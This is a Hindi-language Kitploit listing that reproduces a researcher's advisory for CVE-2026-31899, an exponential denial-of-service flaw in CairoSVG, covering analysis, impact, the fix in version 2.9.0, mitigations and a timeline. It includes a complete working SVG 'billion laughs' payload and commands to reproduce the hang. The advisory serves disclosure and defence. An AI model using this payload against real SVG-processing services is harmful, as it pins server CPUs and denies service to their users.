Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31899 — CVE-2026-31899: CairoSVG में पुनरावर्ती `<use>` एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS (CVSS 7.5 High) | Kitploit
उपकरण/GitHubGitHub/snailsploit/cve-2026-31899
भेद्यता विश्लेषणशोषणवेब सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: CairoSVG में पुनरावर्ती `<use>` एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS (CVSS 7.5 High)

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-31899: CairoSVG में रिकर्सिव <use> एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS

CVE CVSS Score Python Package CWE-400 GHSA

कीवर्ड्स: CVE-2026-31899, CairoSVG, एक्सपोनेंशियल DoS, SVG बम, रिकर्सिव use एलिमेंट, डिनायल ऑफ सर्विस, XML एम्प्लीफिकेशन, Python SVG भेद्यता, CWE-400, अनियंत्रित संसाधन खपत, बिलियन लाफ्स SVG

विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • तकनीकी विश्लेषण
  • प्रूफ ऑफ कॉन्सेप्ट
  • प्रभाव
  • निवारण
  • CVSS मेट्रिक्स
  • संदर्भ
  • संपर्क

अवलोकन

CairoSVG एक्सपोनेंशियल डिनायल ऑफ सर्विस (CVE-2026-31899) — 1,411-बाइट का SVG पेलोड रिकर्सिव <use> एलिमेंट एम्प्लीफिकेशन के माध्यम से CPU को अनिश्चित काल के लिए 100% पर पिन कर देता है।

CairoSVG (~300K डाउनलोड/सप्ताह) एक व्यापक रूप से उपयोग किया जाने वाला Python SVG-से-PNG/PDF कनवर्टर है। cairosvg/defs.py में use() फ़ंक्शन बिना किसी डेप्थ या काउंट सीमा के <use> एलिमेंट्स को रिकर्सिव रूप से प्रोसेस करता है। नेस्टिंग के 5 स्तरों और प्रत्येक में 10 संदर्भों के साथ, एक छोटा SVG 10^5 = 100,000 रेंडर कॉल को ट्रिगर करता है — जो SVG "बिलियन लाफ्स" का एक रूप है।

खोजकर्ता: Kai Aizen — SnailSploit प्रकाशित: 13 मार्च, 2026 CVSS स्कोर: 7.5 (High) CWE: CWE-400 — अनियंत्रित संसाधन खपत पैकेज: CairoSVG (PyPI) हमले का प्रकार: एक्सपोनेंशियल डिनायल ऑफ सर्विस आवश्यक विशेषाधिकार: कोई नहीं (बिना प्रमाणीकरण)

भेद्यता विवरण

विवरण

cairosvg/defs.py में use() फ़ंक्शन (लगभग पंक्ति ~335) उन <use> एलिमेंट्स को रिकर्सिव रूप से रिज़ॉल्व करता है जो अन्य <use> एलिमेंट्स को संदर्भित करते हैं। कोई रिकर्सन डेप्थ सीमा और न ही कोई कुल एलिमेंट बजट है। एक हमलावर एक छोटा SVG तैयार कर सकता है जिसमें प्रत्येक परत पिछली परत को N बार संदर्भित करती है, जिससे O(depth) इनपुट से O(N^depth) रेंडरिंग कॉल उत्पन्न होती हैं।

मुख्य विशेषताएँ

  • एम्प्लीफिकेशन फैक्टर: O(N) इनपुट पंक्तियों से O(10^N) रेंडरिंग कॉल
  • मेमोरी प्रोफ़ाइल: लगभग स्थिर ~43MB — कोई OOM किल नहीं, प्रोसेस स्वाभाविक रूप से समाप्त नहीं होता
  • CPU प्रोफ़ाइल: 100% सिंगल-कोर अनिश्चित काल तक पिन
  • पेलोड आकार: 1,411 बाइट्स

प्रभावित संस्करण

  • संवेदनशील: 2.9.0 से पहले के सभी संस्करण
  • पैच किए गए: संस्करण 2.9.0 और उससे ऊपर

तकनीकी विश्लेषण

भेद्यता निम्न कारणों से मौजूद है:

  1. defs.py में use() फ़ंक्शन प्रत्येक <use> एलिमेंट को उसके xlink:href टार्गेट को देखकर प्रोसेस करता है
  2. यदि टार्गेट स्वयं एक ग्रुप है जिसमें <use> एलिमेंट हैं, तो उन्हें रिकर्सिव रूप से विस्तारित किया जाता है
  3. कोई डेप्थ काउंटर या एलिमेंट बजट लागू नहीं किया जाता
  4. प्रत्येक स्तर कार्य को ब्रांचिंग फैक्टर से गुणा कर देता है (जैसे, प्रति स्तर 10x)

5 स्तरों और 10 के ब्रांचिंग फैक्टर के साथ:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

कुल: 1,411-बाइट इनपुट से 111,111 रेंडर कॉल।

प्रूफ ऑफ कॉन्सेप्ट

SVG पेलोड poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

पुनरुत्पादन

विधि 1 — कमांड लाइन:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

विधि 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

प्रभाव

कोई भी सेवा जो SVG इनपुट स्वीकार करती है और प्रोसेसिंग के लिए CairoSVG का उपयोग करती है, संवेदनशील है:

अटैक सतहउदाहरण
थंबनेल जनरेशनSVG अपलोड → सर्वर PNG में कनवर्ट करता है

1.4KB पेलोड वाला एक एकल अनुरोध न्यूनतम मेमोरी खपत करते हुए प्रोसेसिंग थ्रेड को अनिश्चित काल के लिए पिन कर देगा (कोई OOM किल आपको बचाने के लिए नहीं)।

निवारण

तत्काल फिक्स

CairoSVG को संस्करण 2.9.0 या उससे ऊपर अपग्रेड करें:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

सुरक्षा की गहराई (Defense in Depth)

  • किसी भी SVG कन्वर्ज़न एंडपॉइंट पर प्रोसेसिंग टाइमआउट सेट करें
  • SVG अपलोड पर इनपुट आकार सीमा लागू करें
  • SVG प्रोसेसिंग को CPU समय सीमा वाले अलग-थलग वर्कर्स में सैंडबॉक्स करने पर विचार करें

CVSS v3.1 मेट्रिक्स

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

समयरेखा

तिथिघटना
2026-03-09CVE आरक्षित
2026-03-13सलाहकार प्रकाशित (GHSA-f38f-5xpm-9r7c)
2026-03-13फिक्स के साथ CairoSVG 2.9.0 जारी

संदर्भ

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • PyPI पर CairoSVG
  • CWE-400: अनियंत्रित संसाधन खपत
  • फिक्स कमिट

संपर्क

Kai Aizen (SnailSploit)

  • वेब: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। प्रूफ ऑफ कॉन्सेप्ट डिफेंडर्स को उनके जोखिम को मान्य करने में मदद करने के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।


📚 दस्तावेज़ीकरण और लेखक

इस प्रोजेक्ट का पूरा विवरण, कार्यप्रणाली और संबंधित शोध यहाँ उपलब्ध है:

https://snailsploit.com/cves

Kai Aizen द्वारा निर्मित — स्वतंत्र आक्रामक सुरक्षा शोधकर्ता।

snailsploit.com · शोध · फ्रेमवर्क · GitHub · LinkedIn · ResearchGate · X/Twitter

वही हमला। अलग सब्सट्रेट।

टूल डाउनलोड करें
PDF जनरेशन
दस्तावेज़ में एम्बेडेड SVG → CairoSVG रेंडर करता है
अवतार/छवि प्रोसेसिंगउपयोगकर्ता द्वारा अपलोड किए गए SVG प्रोफ़ाइल चित्र
रिपोर्ट रेंडरिंगस्वचालित रिपोर्टों में SVG चार्ट
CI/CD पाइपलाइनबिल्ड के दौरान प्रोसेस किए गए SVG एसेट्स
मेट्रिकमान
अटैक वेक्टरनेटवर्क (AV:N)
अटैक जटिलतानिम्न (AC:L)
आवश्यक विशेषाधिकारकोई नहीं (PR:N)
उपयोगकर्ता सहभागिताकोई नहीं (UI:N)
दायराअपरिवर्तित (S:U)
गोपनीयताकोई नहीं (C:N)
अखंडताकोई नहीं (I:N)
उपलब्धताउच्च (A:H)